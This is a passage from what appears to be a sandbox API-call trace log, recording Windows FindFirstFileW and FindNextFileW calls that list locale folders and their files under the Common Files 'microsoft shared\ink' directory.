ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-SA", cAlternateFileName="")) returned 1 [0148.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\ar-SA\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.146] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05532b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.146] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.146] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.146] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.146] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.146] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0148.146] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.147] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.147] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.147] GetLastError () returned 0x12 [0148.148] SetLastError (dwErrCode=0x12) [0148.148] GetLastError () returned 0x12 [0148.148] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3632db, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3632db, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3632db, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.148] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.148] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.148] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0148.148] GetLastError () returned 0x12 [0148.148] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0148.148] GetLastError () returned 0x12 [0148.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\cs-CZ\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.149] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0554b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.149] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.149] GetLastError () returned 0x12 [0148.149] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e316e09, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e316e09, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e316e09, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.149] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.149] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.149] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0148.149] GetLastError () returned 0x12 [0148.149] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.149] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.150] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.150] GetLastError () returned 0x12 [0148.150] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.150] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.150] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.150] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0148.150] GetLastError () returned 0x12 [0148.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.150] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.150] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.151] GetLastError () returned 0x12 [0148.151] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2f0ba2, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2f0ba2, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2f0ba2, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.151] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.151] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.151] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0148.151] GetLastError () returned 0x12 [0148.151] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.151] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.151] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.151] GetLastError () returned 0x12 [0148.152] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.152] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.152] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.152] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1 [0148.152] GetLastError () returned 0x12 [0148.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.152] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.152] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0148.152] GetLastError () returned 0x12 [0148.152] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e2ca937, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e2ca937, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e2ca937, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0148.152] FindClose (in: hFindFile=0x819470 | out: hFindFile=0x819470) returned 1 [0148.153] HeapFree (in: hHeap=0x23a0000, dwFlags=0x0, lpMem=0x4530088 | out: hHeap=0x23a0000) returned 1 [0148.153] FindNextFileW (in: hFindFile=0x836aa0, lpFindFileData=0x3c1eef8 | out: lpFindFileData=0x3c1eef8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0148.153] GetLastError () returned 0x12 [0148.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x819470 [0148.153] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.153] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a3b058, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a3b058, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1b2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0148.153] GetLastError () returned 0x12 [0148.153] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xbf28, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0148.153] GetLastError () returned 0x12 [0148.153] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1aad768, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1aad768, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb61e, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0148.153] GetLastError () returned 0x12 [0148.153] FindNextFileW (in: hFindFile=0x819470, lpFindFileData=0x3c1ec74 | out: lpFindFileData=0x3c1ec74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a8750a, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a8750a, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x148de, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0148.153] GetLastError () returned 0x12 [0148.154] FindNextFileW 